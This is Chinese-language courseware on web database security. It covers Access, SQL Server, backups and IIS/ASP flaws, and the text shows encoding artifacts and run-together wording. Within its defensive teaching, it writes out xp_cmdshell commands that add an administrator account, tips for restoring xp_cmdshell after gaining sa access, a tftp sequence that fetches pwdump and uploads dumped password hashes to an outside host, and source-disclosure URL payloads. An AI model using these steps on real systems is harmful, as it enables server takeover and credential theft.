Web數(shù)據(jù)庫(kù)安全性課件_第1頁
Web數(shù)據(jù)庫(kù)安全性課件_第2頁
Web數(shù)據(jù)庫(kù)安全性課件_第3頁
Web數(shù)據(jù)庫(kù)安全性課件_第4頁
Web數(shù)據(jù)庫(kù)安全性課件_第5頁
已閱讀5頁,還剩57頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

Web數(shù)據(jù)庫(kù)安全性近年來,安全問題逐步成為企業(yè)信息主管關(guān)注和討論的焦點(diǎn)。一個(gè)好的安全解決方案離不開適當(dāng)?shù)陌踩繕?biāo)和策略,而圍繞企業(yè)重點(diǎn)資產(chǎn)和高風(fēng)險(xiǎn)威脅所進(jìn)行的風(fēng)險(xiǎn)評(píng)估則是規(guī)劃的基礎(chǔ)。在規(guī)劃企業(yè)安全時(shí)會(huì)考慮眾多威脅,絕大多數(shù)企業(yè)甚至是聘請(qǐng)的安全公司,往往把注意力集中于網(wǎng)絡(luò)和操作系統(tǒng)安全,而容易忽視最重要的數(shù)據(jù)庫(kù)安全。數(shù)據(jù)庫(kù)安全是一個(gè)廣闊的領(lǐng)域,它作為操作系統(tǒng)之上的應(yīng)用平臺(tái),其安全與網(wǎng)絡(luò)和主機(jī)安全息息相關(guān)。

9.1數(shù)據(jù)庫(kù)安全綜述9.1.1為何需要數(shù)據(jù)庫(kù)安全?在計(jì)算機(jī)世界,數(shù)據(jù)庫(kù)顯然存放著在線資源中最真實(shí)和最有價(jià)值的那部分資產(chǎn)。在數(shù)據(jù)庫(kù)中,這些數(shù)據(jù)一旦遭受安全威脅將帶來難以想象的嚴(yán)重后果。企業(yè)對(duì)數(shù)據(jù)的一個(gè)最基本要求,就是要確保它們能夠在任何時(shí)候,被任何授權(quán)用戶方便、高效地訪問。為此,企業(yè)會(huì)考慮創(chuàng)造多種對(duì)數(shù)據(jù)的訪問通道,并確保它們的安全。但是,這些通道是動(dòng)態(tài)的,即當(dāng)網(wǎng)絡(luò)擴(kuò)展時(shí),它們隨之創(chuàng)建或改變,并可能在未察覺和任何保護(hù)情形下不再可用。通過對(duì)數(shù)據(jù)庫(kù)自身的安全保護(hù),企業(yè)將可以在數(shù)據(jù)受到真正的威脅前設(shè)置最后一道防御屏障。

9.1.2常見的數(shù)據(jù)庫(kù)安全問題及原因雖然數(shù)據(jù)庫(kù)安全的需求很明顯,但多數(shù)企業(yè)還是不愿在發(fā)生了無可挽回的事件之前就著手考慮和解決相關(guān)的安全問題,讓我們考查以下可能危及數(shù)據(jù)庫(kù)安全的常見因素:(1)脆弱的帳號(hào)設(shè)置。(2)缺乏角色分離。(3)缺乏審計(jì)跟蹤。(4)未利用的數(shù)據(jù)庫(kù)安全特征。9.1.3數(shù)據(jù)庫(kù)安全管理原則一個(gè)強(qiáng)大的數(shù)據(jù)庫(kù)安全系統(tǒng)應(yīng)當(dāng)確保其中信息的安全性并對(duì)其有效地控制。下面列舉的原則有助于企業(yè)在安全規(guī)劃中實(shí)現(xiàn)客戶利益保障,策略制訂以及對(duì)信息資源的有效保護(hù)。(1)管理細(xì)分和委派原則。(2)最小權(quán)限原則。許多新的保密規(guī)則針對(duì)對(duì)特定數(shù)據(jù)的授權(quán)訪問。(3)帳號(hào)安全原則。用戶帳號(hào)對(duì)于每一個(gè)數(shù)據(jù)庫(kù)聯(lián)接來說都是必須的。帳號(hào)應(yīng)遵循傳統(tǒng)的用戶帳號(hào)管理方法來進(jìn)行安全管理。(4)有效的審計(jì)。數(shù)據(jù)庫(kù)審計(jì)是數(shù)據(jù)庫(kù)安全的基本要求。9.2Access數(shù)據(jù)庫(kù)可能被下載的漏洞

一般來說,在提供asp權(quán)限的Web服務(wù)器上不可能提供代為設(shè)定DSN的服務(wù),使用的

ACCESSmdb數(shù)據(jù)庫(kù)可能被人下載,因此asp程序使用的數(shù)據(jù)庫(kù)通常都局限在使用mdb數(shù)據(jù)庫(kù),而mdb遠(yuǎn)端數(shù)據(jù)庫(kù)所在的位置是使用在第8章數(shù)據(jù)庫(kù)連接方法中講到過的

DSN-LESS方法直接在asp中指定的,方法如下:

<%connstr="DBQ="+server.mappath("database/source.mdb")+";DefaultDir=;DRIVER={MicrosoftAccessDriver(*.mdb)};DriverId=25;FIL=MSAccess;ImplicitCommitSync=Yes;MaxBufferSize=512;MaxScanRows=8;PageTimeout=5;SafeTransactions=0;Threads=3;UserCommitSync=Yes;"%>

正如前文所言,在這種情況下mdb庫(kù)很可能被他人下載,從而造成諸如密碼等的泄露。所以,應(yīng)該采取一定的措施嚴(yán)禁code.asp之類的程序,限制mdb的下載。在用Access做后臺(tái)數(shù)據(jù)庫(kù)時(shí),如果有人通過各種方法知道或者猜到了服務(wù)器的Access數(shù)據(jù)庫(kù)的路徑和數(shù)據(jù)庫(kù)名稱,那么他就能夠下載這個(gè)Access數(shù)據(jù)庫(kù)文件,這是非常危險(xiǎn)的。比如:如果Access數(shù)據(jù)庫(kù)book.mdb放在虛擬目錄下的database目錄下,那么有人在瀏覽器中打入:http://someurl/database/book.mdb如果book.mdb數(shù)據(jù)庫(kù)沒有事先加密的話,那book.mdb中所有重要的數(shù)據(jù)都掌握在別人的手中。解決方法:(1)為數(shù)據(jù)庫(kù)文件名稱起個(gè)復(fù)雜的非常規(guī)的名字,并把它放在多級(jí)目錄下。(2)不要把數(shù)據(jù)庫(kù)名寫在程序中。(3)使用ACCESS來為數(shù)據(jù)庫(kù)文件編碼及加密。首先在選取“工具->安全->加密/解密數(shù)據(jù)庫(kù),選取數(shù)據(jù)庫(kù)(如:employer.mdb)”,然后按確定,接著會(huì)出現(xiàn)“數(shù)據(jù)庫(kù)加密后另存為”的窗口,存為:employer1.mdb。接著employer.mdb就會(huì)被編碼,然后存為employer1.mdb。要注意的是,以上的動(dòng)作并不是對(duì)數(shù)據(jù)庫(kù)設(shè)置密碼,而只是對(duì)數(shù)據(jù)庫(kù)文件加以編碼,目的是為了防止他人使用別的工具來查看數(shù)據(jù)庫(kù)文件的內(nèi)容。接下來為數(shù)據(jù)庫(kù)加密。首先以打開經(jīng)過編碼了的employer1.mdb,在打開時(shí),選擇“獨(dú)占”方式。然后選取功能表的“工具->安全->設(shè)置數(shù)據(jù)庫(kù)密碼”,接著輸入密碼即可。為employer1.mdb設(shè)置密碼之后,接下來如果再使用Access數(shù)據(jù)庫(kù)文件時(shí),則Access會(huì)先要求輸入密碼,驗(yàn)證正確后才能夠啟動(dòng)數(shù)據(jù)庫(kù)。不過要在ASP程序中的connection對(duì)象的open方法中增加PWD的參數(shù),這樣即使他人得到了employer1.mdb文件,沒有密碼他是無法看到employer1.mdb的。不過,實(shí)際上已經(jīng)有人編寫出專門破解Access數(shù)據(jù)庫(kù)密碼的程序,因此在使用時(shí)應(yīng)予以注意。9.3SQL數(shù)據(jù)庫(kù)安全一般網(wǎng)站都是基于數(shù)據(jù)庫(kù)的,特別是ASP、PHP、JSP這樣的用數(shù)據(jù)庫(kù)來動(dòng)態(tài)顯示的網(wǎng)站。很多網(wǎng)站可能多注意的是操作系統(tǒng)的漏洞,但是對(duì)數(shù)據(jù)庫(kù)和這些腳本的安全總是忽略。對(duì)于MSSQLServer數(shù)據(jù)庫(kù)來說,安全問題不僅僅局限在腳本上了。微軟的系統(tǒng)性很強(qiáng),整個(gè)基于Windows系統(tǒng)的應(yīng)用都有很強(qiáng)的關(guān)聯(lián)性,對(duì)SQLServer來說,基本可以把數(shù)據(jù)庫(kù)管理和系統(tǒng)管理等同起來了。SQLServer默認(rèn)的管理員帳號(hào)“sa”的密碼是空的,這給多數(shù)NT服務(wù)器產(chǎn)生一個(gè)安全漏洞。已經(jīng)有專用的程序,能夠利用獲得的數(shù)據(jù)庫(kù)管理員帳號(hào)執(zhí)行系統(tǒng)命令。在SQLServer中有很多系統(tǒng)存儲(chǔ)過程,有些是數(shù)據(jù)庫(kù)內(nèi)部使用的,還有一些就是通過執(zhí)行存儲(chǔ)過程來調(diào)用系統(tǒng)命令。9.3.1系統(tǒng)存儲(chǔ)過程:xp_cmdshell就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。具體語法是:xp_cmdshell{'command_string'}[,no_output]xp_cmdshell在默認(rèn)情況下,只有sysadmin的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個(gè)執(zhí)行權(quán)限。在早期版本中,獲得xp_cmdshell執(zhí)行權(quán)限的用戶在SQLServer服務(wù)的用戶帳戶中運(yùn)行命令??梢酝ㄟ^配置選項(xiàng)配置SQLServer,以便對(duì)SQLServer無sa訪問權(quán)限的用戶能夠在SQLExecutiveCmdExecWindowsNT帳戶中運(yùn)行xp_cmdshell。在

SQLServer7.0中,該帳戶稱為SQLAgentCmdExec?,F(xiàn)在對(duì)于SQLServer2000,只要有一個(gè)能執(zhí)行該存儲(chǔ)過程的帳號(hào)就可以直接運(yùn)行命令了。

對(duì)于NT和WIN2000,當(dāng)用戶不是sysadmin組的成員時(shí),xp_cmdshell將模擬使用xp_sqlagent_proxy_account指定的SQLServer代理程序的代理帳戶。如果代理帳戶不能用,則xp_cmdshell將失敗。所以即使有一個(gè)帳戶是master數(shù)據(jù)庫(kù)的擁有者,也不能執(zhí)行這個(gè)存儲(chǔ)過程。如果有一個(gè)能執(zhí)行xp_cmdshell的數(shù)據(jù)庫(kù)帳號(hào),比如是空口令的sa帳號(hào)。那么就可以執(zhí)行這樣的命令:execxp_cmdshell'netuserrefdom123456/add'execxp_cmdshell'netlocalgroupadministratorsrefdom/add'上面兩次調(diào)用就在系統(tǒng)的管理員組中添加了一個(gè)用戶:refdom。獲得了數(shù)據(jù)庫(kù)的sa管理員帳號(hào)后,就應(yīng)該可以完全控制這個(gè)機(jī)器了,可見數(shù)據(jù)庫(kù)安全的重要性。下面這些存儲(chǔ)過程都是對(duì)Public可以執(zhí)行的:xp_fileexist用來確定一個(gè)文件是否存在。xp_getfiledetails可以獲得文件詳細(xì)資料。xp_dirtree可以展開你需要了解的目錄,獲得所有目錄深度。xp_getnetname可以獲得服務(wù)器名稱。還有可以操作注冊(cè)表的存儲(chǔ)過程,這些不是對(duì)Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權(quán)執(zhí)行:xp_regaddmultistringxp_regdeletekeyxp_regwrite9.3.2SQLServer的安全配置

除了及時(shí)安裝補(bǔ)丁程序外,還需要加強(qiáng)數(shù)據(jù)庫(kù)的安全。(1)首先,需要加強(qiáng)象sa這樣的帳號(hào)的密碼。跟系統(tǒng)帳號(hào)的使用配置相似,一般操作數(shù)據(jù)庫(kù)不要使用象sa這樣的最高權(quán)限的帳號(hào),而使用能滿足你的要求的一般帳號(hào)。(2)對(duì)擴(kuò)展存儲(chǔ)過程進(jìn)行處理。首先就是xp_cmdshell,還有就是上面那些一大堆存儲(chǔ)過程,都刪掉,一般也用不著。執(zhí)行:usemastersp_dropextendedproc'xp_cmdshell'去掉guest帳號(hào),阻止非授權(quán)用戶訪問,同時(shí)也去掉不必要的網(wǎng)絡(luò)協(xié)議。(3)加強(qiáng)對(duì)數(shù)據(jù)庫(kù)登陸的日志記錄,最好記錄所有登陸事件。(4)用管理員帳號(hào)定期檢查所有帳號(hào),是否密碼為空或者過于簡(jiǎn)單。加強(qiáng)數(shù)據(jù)庫(kù)的安全是非常重要的。類似DNS、MAIL等等,數(shù)據(jù)庫(kù)服務(wù)器往往成為各種入侵的跳板。下面是搜集到的一些關(guān)于數(shù)據(jù)庫(kù)的問題解答及使用技巧:(1)獲得sa權(quán)限后,卻不能執(zhí)行xp_cmdshell存儲(chǔ)過程??赡苁且呀?jīng)把xp_cmdshell等擴(kuò)展存儲(chǔ)過程刪除了,可以用這個(gè)存儲(chǔ)過程把xp_cmdshell恢復(fù)。sp_addextendedproc'xp_cmdshell','xpsql70.dll'(2)如何通過數(shù)據(jù)庫(kù)用pwdump獲得系統(tǒng)管理員密碼。先上傳一個(gè)pwdumptftp-iGETpwdump3.exepwdump3.exetftp-iGETlsaext.dlllsaext.dlltftp-iGETpwservice.exepwservice.exepwdump3outfile.txttftpPUToutfile.txtoutfile.txt然后再用解密工具破解這些密碼。(3)如何從數(shù)據(jù)庫(kù)讀取系統(tǒng)管理員密碼。能讀出加密的密碼是NT的管理員(administrator)帳號(hào)也不能做的。SQLServer能讀出來是“LocalSystem”帳號(hào),這個(gè)帳號(hào)比administrator更高一級(jí)。9.4數(shù)據(jù)庫(kù)的備份

9.4.1數(shù)據(jù)備份的重要性和必要性

在當(dāng)今信息社會(huì),最珍貴的財(cái)產(chǎn)并不是計(jì)算機(jī)軟件,更不是計(jì)算機(jī)硬件,而是企業(yè)在長(zhǎng)期發(fā)展過程中所積累下來的業(yè)務(wù)數(shù)據(jù)。建立網(wǎng)絡(luò)最根本的用途是要更加方便地傳遞與使用數(shù)據(jù),但人為錯(cuò)誤、硬盤損壞、電腦病毒、斷電或是天災(zāi)人禍等等都有可能造成數(shù)據(jù)的丟失。所以應(yīng)該強(qiáng)調(diào)指出:“數(shù)據(jù)是資產(chǎn),備份最重要”。應(yīng)當(dāng)理解備份意識(shí)實(shí)際上就是數(shù)據(jù)的保護(hù)意識(shí),在危機(jī)四伏的網(wǎng)絡(luò)環(huán)境中,數(shù)據(jù)隨時(shí)有被毀滅的可能。由于我國(guó)目前軟件盜版現(xiàn)象還沒有得到徹底的解決,而且大部分的盜版軟件中都隱藏著致命的病毒,這就不可避免的對(duì)使用這些軟件的用戶構(gòu)成極大的潛在威脅。而且,由于病毒本身所具有的智能性與可移植性,很可能在一瞬間這些病毒便會(huì)殃極整個(gè)網(wǎng)絡(luò)。盡管現(xiàn)在的殺毒軟件層出不窮,但可以肯定的講,無論這些軟件的功能如何強(qiáng)大,人們永遠(yuǎn)也不可能殺盡所有的病毒,因?yàn)椴《镜母滤俣纫肋h(yuǎn)快于殺毒軟件的更新速度。從這個(gè)意議上講,對(duì)數(shù)據(jù)進(jìn)行備份是非常必要的。當(dāng)今在發(fā)達(dá)國(guó)家,幾乎每一個(gè)網(wǎng)絡(luò)都會(huì)配置一些專用的外部存儲(chǔ)設(shè)備,而這些設(shè)備確實(shí)在不少災(zāi)難性的數(shù)據(jù)失事中發(fā)揮了扭轉(zhuǎn)乾坤的作用。實(shí)際上,這些備份裝置的費(fèi)用只占服務(wù)器硬件的10%,而它卻能為用戶提供100%的數(shù)據(jù)保護(hù),從而避免10倍甚至百倍的經(jīng)濟(jì)損失。9.4.2威脅數(shù)據(jù)安全的因素分析曾有一位計(jì)算機(jī)專家說過,系統(tǒng)災(zāi)難的發(fā)生,不是是否會(huì),而是遲早的問題。造成系統(tǒng)數(shù)據(jù)丟失的原因很多,有些還往往被人們忽視。正確分析威脅數(shù)據(jù)安全的因素,能使系統(tǒng)的安全防護(hù)更有針對(duì)性。導(dǎo)致系統(tǒng)失效的因素主要有以下方面。(1)系統(tǒng)物理故障主要是系統(tǒng)設(shè)備的運(yùn)行損耗、存儲(chǔ)介質(zhì)失效、運(yùn)行環(huán)境(溫度、濕度、灰塵等)對(duì)計(jì)算機(jī)設(shè)備的影響、電源供給系統(tǒng)故障、人為的破壞等。(2)系統(tǒng)軟件設(shè)計(jì)的缺陷現(xiàn)今操作系統(tǒng)環(huán)境和應(yīng)用軟件種類繁多,結(jié)構(gòu)復(fù)雜。軟件設(shè)計(jì)上的缺陷也會(huì)造成系統(tǒng)無法正常工作。另外,版本的升級(jí)、程序的補(bǔ)丁等都會(huì)對(duì)系統(tǒng)造成影響。(3)使用人員人為失誤由于操作不慎,使用者可能會(huì)誤刪除系統(tǒng)的重要文件,或者修改了影響系統(tǒng)運(yùn)行的參數(shù),以及沒有按照規(guī)定要求、操作不當(dāng)導(dǎo)致系統(tǒng)失靈。(4)計(jì)算機(jī)病毒近年來,由于計(jì)算機(jī)病毒感染而破壞計(jì)算機(jī)系統(tǒng),造成重大經(jīng)濟(jì)損失的事件屢屢發(fā)生,給計(jì)算機(jī)技術(shù)的應(yīng)用發(fā)展蒙上陰影。計(jì)算機(jī)病毒具有自我復(fù)制能力,品種繁多,感染性強(qiáng),特別是在網(wǎng)絡(luò)環(huán)境下,傳播擴(kuò)散速度更快,令人防不勝防。(5)黑客入侵伴隨著Internet的發(fā)展,網(wǎng)絡(luò)黑客對(duì)計(jì)算機(jī)系統(tǒng)的攻擊也成為一大安全隱患。(6)自然災(zāi)害首先,地理環(huán)境決定了我國(guó)具有較高的自然災(zāi)害發(fā)生率,如地震、嚴(yán)重的洪澇災(zāi)害等。其次,火災(zāi)也是一大隱患。火災(zāi)的發(fā)生概率要比自然災(zāi)害高的多。一般來講,一個(gè)大型城市每年平均都會(huì)發(fā)生幾百起火災(zāi)事故。雖然災(zāi)害與其他因素相比發(fā)生的頻率并不高,但這樣的災(zāi)害只要發(fā)生一次,就會(huì)給網(wǎng)絡(luò)帶來毀滅性的打擊。

9.4.3網(wǎng)絡(luò)數(shù)據(jù)備份的內(nèi)容及方法備份就是保留一套現(xiàn)有系統(tǒng)的后備系統(tǒng),這套后備系統(tǒng)或者是與現(xiàn)有系統(tǒng)一模一樣,或者具有能夠代替現(xiàn)有系統(tǒng)的功能。一個(gè)完善的網(wǎng)絡(luò)數(shù)據(jù)備份應(yīng)包括硬件物理容錯(cuò)和軟件級(jí)數(shù)據(jù)備份,并且能夠自動(dòng)地跨越整個(gè)系統(tǒng)網(wǎng)絡(luò)平臺(tái),主要包括以下幾個(gè)方面:(1)構(gòu)造雙機(jī)容錯(cuò)系統(tǒng)在網(wǎng)絡(luò)中,最關(guān)鍵的網(wǎng)絡(luò)設(shè)備是文件服務(wù)器,為了保證網(wǎng)絡(luò)系統(tǒng)連續(xù)運(yùn)行,必須采用文件服務(wù)器雙機(jī)熱備份容錯(cuò)技術(shù),以解決硬件的故障。從物理上保證系統(tǒng)軟件所需的運(yùn)行環(huán)境。但這種硬件的物理備份并不能消除網(wǎng)絡(luò)的邏輯錯(cuò)誤,當(dāng)人為的邏輯錯(cuò)誤發(fā)生時(shí),雙機(jī)熱備份只會(huì)將錯(cuò)誤重復(fù)一遍。(2)多平臺(tái)系統(tǒng)文件備份一個(gè)理想的網(wǎng)絡(luò)數(shù)據(jù)備份方案,是指能夠在一臺(tái)機(jī)器上自動(dòng)地跨平臺(tái)地實(shí)現(xiàn)整個(gè)網(wǎng)絡(luò)的系統(tǒng)文件備份,包括各平臺(tái)的系統(tǒng)配置、存儲(chǔ)分配和設(shè)備表。因?yàn)榫W(wǎng)絡(luò)數(shù)據(jù)備份通常使用專用設(shè)備,不可能為每個(gè)系統(tǒng)平臺(tái)或關(guān)鍵的計(jì)算機(jī)都配置專用備份設(shè)備,所以用網(wǎng)絡(luò)進(jìn)行高速備份是網(wǎng)絡(luò)數(shù)據(jù)備份方案所必須考慮的功能。

(3)各類數(shù)據(jù)庫(kù)的備份隨著信息資源呈海量之勢(shì)增加,各類數(shù)據(jù)庫(kù)越來越復(fù)雜和龐大,單純使用備份文件的簡(jiǎn)單方式來備份數(shù)據(jù)已不再適用,能否將所需要的數(shù)據(jù)從龐大的數(shù)據(jù)庫(kù)文件中抽取出來進(jìn)行備份,是網(wǎng)絡(luò)數(shù)據(jù)庫(kù)備份的重要一環(huán)。(4)網(wǎng)絡(luò)故障和災(zāi)難恢復(fù)網(wǎng)絡(luò)數(shù)據(jù)備份的最終目的是保障網(wǎng)絡(luò)系統(tǒng)安全運(yùn)行。當(dāng)網(wǎng)絡(luò)系統(tǒng)出現(xiàn)邏輯錯(cuò)誤時(shí),網(wǎng)絡(luò)數(shù)據(jù)備份系統(tǒng)能夠根據(jù)備份的系統(tǒng)文件和各類數(shù)據(jù)庫(kù)文件在最短的時(shí)間內(nèi)迅速恢復(fù)網(wǎng)絡(luò)系統(tǒng)。(5)備份任務(wù)管理對(duì)于網(wǎng)絡(luò)管理員來說,備份是一項(xiàng)繁重的任務(wù),需要完成大量的手工操作,費(fèi)時(shí)費(fèi)力。因此,網(wǎng)絡(luò)備份應(yīng)具備實(shí)現(xiàn)定時(shí)和實(shí)時(shí)自動(dòng)備份,從而減輕管理員的負(fù)擔(dān)并消除手工操作帶來的失誤。利用SQLSERVER2000所提供的“數(shù)據(jù)庫(kù)維護(hù)計(jì)劃器”,可以實(shí)現(xiàn)數(shù)據(jù)自動(dòng)備份功能。

9.4.4樹立正確的備份觀念很多計(jì)算機(jī)用戶和管理人員雖然認(rèn)識(shí)到備份的重要性,具備一定的備份概念,但仍存在一些誤區(qū)。有的用戶認(rèn)為備份就是簡(jiǎn)單地做一份拷貝,因而往往達(dá)不到實(shí)際要求,或是陷入繁瑣耗時(shí)的手工操作中。備份并不僅僅是執(zhí)行拷貝指令或程序,一個(gè)完整的備份方案大致應(yīng)具備以下特點(diǎn):(1)保證數(shù)據(jù)資料的完整性。(2)能自動(dòng)排程設(shè)定,實(shí)現(xiàn)備份任務(wù)的管理。(3)能對(duì)不同的存儲(chǔ)介質(zhì)進(jìn)行有效管理。(4)支持多種操作系統(tǒng)平臺(tái)。(5)操作簡(jiǎn)便、易于實(shí)現(xiàn)。除了技術(shù)上的要求外,制定周密的計(jì)劃也很重要。有些系統(tǒng)人員不大重視備份計(jì)劃的設(shè)計(jì),缺乏完整的規(guī)劃和策略,使得備份效果大打折扣。要注意備份過程可能對(duì)一些應(yīng)用系統(tǒng)有影響,要針對(duì)系統(tǒng)運(yùn)行情況,合理安排備份時(shí)段,避免與應(yīng)用程序發(fā)生沖突??傊?,備份方案是存儲(chǔ)設(shè)備、備份工具、運(yùn)作方式、恢復(fù)重建方法、操作性、可靠性等方面的綜合考慮。隨著網(wǎng)絡(luò)的不斷投入和擴(kuò)大,計(jì)算機(jī)網(wǎng)絡(luò)的安全、數(shù)據(jù)資源的安全日益重要。規(guī)劃一套完整的備份方案并付諸實(shí)施,系統(tǒng)數(shù)據(jù)安全才會(huì)得到有效的保障。9.5IIS的安全性現(xiàn)在很多網(wǎng)站,特別是電子商務(wù)方面的網(wǎng)站,在前臺(tái)上大都用ASP來實(shí)現(xiàn),以至于ASP在網(wǎng)站應(yīng)用上十分普遍。ASP是開發(fā)網(wǎng)站應(yīng)用的快速工具,但是有些網(wǎng)站管理員只看到ASP的快速開發(fā)能力,卻忽視了ASP安全問題。通過asp,可能可以很方便地入侵Web服務(wù)器、竊取服務(wù)器上的文件、捕獲Web數(shù)據(jù)庫(kù)等系統(tǒng)的用戶口令,甚至惡意刪除服務(wù)器上的的文件,直至造成系統(tǒng)損壞。雖然WINDOWSNTOptionPack所帶的MicrosoftIIS提供了強(qiáng)大的功能,但是IIS在網(wǎng)絡(luò)安全方面卻是比較危險(xiǎn)的。因?yàn)楹苌儆腥藭?huì)用Windows95/98當(dāng)服務(wù)器,因此重點(diǎn)是NT中的IIS安全問題。IIS支持虛擬目錄,通過在“服務(wù)器屬性”對(duì)話框中的“目錄”標(biāo)簽可以管理虛擬目錄。首先,虛擬目錄隱藏了有關(guān)站點(diǎn)目錄結(jié)構(gòu)的重要信息。其次,只要兩臺(tái)機(jī)器具有相同的虛擬目錄,就可以在不對(duì)頁面代碼做任何改動(dòng)的情況下,將Web頁面從一臺(tái)機(jī)器上移到另一臺(tái)機(jī)器。第三,當(dāng)將Web頁面放置于虛擬目錄下后,可以對(duì)目錄設(shè)置不同的屬性。當(dāng)需要使用ASP時(shí),必須將存放.asp文件的目錄設(shè)置為“執(zhí)行”。因此,建議在設(shè)置Web站點(diǎn)時(shí),將HTML與ASP文件分開放置在不同的目錄下,然后將HTML子目錄設(shè)置為“讀”,將ASP子目錄設(shè)置為“執(zhí)行”,不僅方便了對(duì)Web的管理,而且提高了ASP程序的安全性,防止程序內(nèi)容被客戶所訪問。盡管微軟稱ASP在網(wǎng)絡(luò)安全方面的一大優(yōu)點(diǎn)就是用戶不能看到ASP的源程序,因?yàn)閺腁SP的原理上看,ASP在服務(wù)端執(zhí)行并解釋成標(biāo)準(zhǔn)的HTML語句,再傳送給客戶端瀏覽器?!捌帘巍痹闯绦蚰芎芎玫鼐S護(hù)ASP開發(fā)人員的版權(quán),避免黑客通過分析ASP程序,挑出漏洞。更重要的是有些ASP開發(fā)者喜歡把密碼,有特權(quán)的用戶名和路徑直接寫在程序中,這樣別人通過猜密碼、猜路徑,很容易找到攻擊系統(tǒng)的“入口”,這也恰恰是其安全隱患。但是目前已經(jīng)發(fā)現(xiàn)了很多能查看ASP源程序的漏洞.IIS提供利用ASP而動(dòng)態(tài)產(chǎn)生網(wǎng)頁的服務(wù)。一個(gè)ASP文件,就是一個(gè)在

HTML網(wǎng)頁中,直接內(nèi)含程序代碼的文件?;卦儯╮equest)一個(gè)

ASP文件,會(huì)促使

IIS運(yùn)行網(wǎng)頁中內(nèi)嵌的程序代碼,然后將其運(yùn)行結(jié)果直接回送到瀏覽器上。另一方面,靜態(tài)的

HTML網(wǎng)頁,是按照其原來的樣子回傳到瀏覽器上面,沒有經(jīng)過任何的解析處理。在這里,IIS是利用檔案的附加檔名來區(qū)別檔案的形態(tài)。一個(gè)附加檔名為.htm或.html的檔案是屬于靜態(tài)的

HTML檔案,而附加檔名為.asp的檔案則為一個(gè)ASP檔案,通過瀏覽器回詢?cè)摍n案,將不會(huì)看到源程序代碼,而只能看到程序代碼的執(zhí)行結(jié)果。正因?yàn)槿绱?,這一個(gè)ASP就給別人留了后門,或許在所有網(wǎng)絡(luò)安全漏洞里面,最不受重視的就是未經(jīng)過解析的文件內(nèi)容或程序代碼無意中被顯示出來的安全漏洞。簡(jiǎn)單的說,這些安全漏洞允許使用者從網(wǎng)頁服務(wù)器騙取動(dòng)態(tài)網(wǎng)頁里面的程序代碼??匆娫创a似乎覺得并沒有什么大礙,但如果ASP程序員將站點(diǎn)的登陸密碼直接寫在asp文件里,那么一旦源碼被發(fā)現(xiàn),他人就可以很容易地進(jìn)入本

不該被看到的頁面,而且很多數(shù)據(jù)庫(kù)的連接用戶名和密碼也都是直接寫在asp文件里,一旦被發(fā)現(xiàn),如果數(shù)據(jù)庫(kù)允許遠(yuǎn)程訪問而且沒有設(shè)防的話就相當(dāng)危險(xiǎn)了。在一些用ASP開發(fā)的

BBS程序中,往往使用的是accessmdb數(shù)據(jù)庫(kù),如果mdb庫(kù)存放的路徑被獲知,數(shù)據(jù)庫(kù)就很有可能輕易地被他人下載,加之如果數(shù)據(jù)庫(kù)里含有的密碼不加密,那就非常危險(xiǎn)了,獲取密碼的人如果有意進(jìn)行惡意破壞,他只需要以管理員身份登陸就可刪除所有BBS里的帖子。下一節(jié)從開放了ASP服務(wù)的操作系統(tǒng)漏洞和ASP程序本身漏洞入手,闡述ASP安全問題,并給出解決方法或建議。9.6ASP漏洞及解決方法有人說一臺(tái)不和外面聯(lián)系的電腦是最安全的電腦,一個(gè)關(guān)閉了所有端口、不提供任何服務(wù)的電腦也是最安全的。黑客經(jīng)常利用我們所開放的端口實(shí)施攻擊,這些攻擊最常見的是DoS(拒絕服務(wù)攻擊)。下面列出了ASP中一些已知的漏洞。9.6.1特殊符號(hào)對(duì)安全的影響

通過在ASP程序后加個(gè)特殊符號(hào),就能看到ASP源程序。IIS2、IIS3、IIS4的一個(gè)廣為人知的漏洞就是::$DATA,通過它使用IE中的“查看源程序”或Netscape直接訪問該asp文件就能輕而易舉地看到asp代碼。受影響的版本有:Win95+pws、IIS3.0。98+pws4、IIS4.0以上的版本也不存在這個(gè)漏洞。這些特殊符號(hào)包括小數(shù)點(diǎn)、%81、::$DATA。比如:http://someurl/somepage.asp.http://someurl/somepage.asp%81http://someurl/somepage.asp::$DATAhttp://someurl/somepage.asp%2ehttp://someurl/somepage%2e%41sphttp://someurl/somepage%2e%asphttp://someurl/somepage.asp%2e那么在安裝有IIS3.0和Win95+PWS的瀏覽中就很容易看到somepage.asp的源程序。究其根源是因?yàn)閃indowsNT的特有的FAT文件系統(tǒng):NTFS,這種被稱之為新技術(shù)文件系統(tǒng)的技術(shù)使得

NT具有了較高的安全機(jī)制,但也正是因?yàn)樗a(chǎn)生了不少令人頭痛的隱患。NTFS支持包含在一個(gè)文件中的多數(shù)據(jù)流,而這個(gè)包含了所有內(nèi)容的主數(shù)據(jù)流被稱之為“DATA”,因此使得在瀏覽器里直接訪問NTFS系統(tǒng)的這個(gè)特性而輕易的捕獲在文件中的腳本程序成為了可能。然而,直接導(dǎo)致::$DATA的原因是由于IIS在解析文件名的時(shí)候出了問題,它沒有很好地規(guī)范文件名。解決方法和建議:(1)將.asp文件存放的目錄設(shè)置為不可讀(ASP仍能執(zhí)行),這樣html、css等文件就不能放在這個(gè)目錄下,否則它們將不能被瀏覽。

(2)訪問微軟的官方網(wǎng)站,下載并安裝對(duì)應(yīng)系統(tǒng)的補(bǔ)丁程序。9.6.2code.asp文件對(duì)安全的影響在微軟提供的ASP1.0的例程里有一個(gè).asp文件專門用來查看其它asp文件的源代碼,該文件為ASPSamp/Samples/code.asp。如果有人把這個(gè)程序上傳到服務(wù)器,而服務(wù)器端沒有任何防范措施的話,他就可以很容易地查看他人的程序。例如:

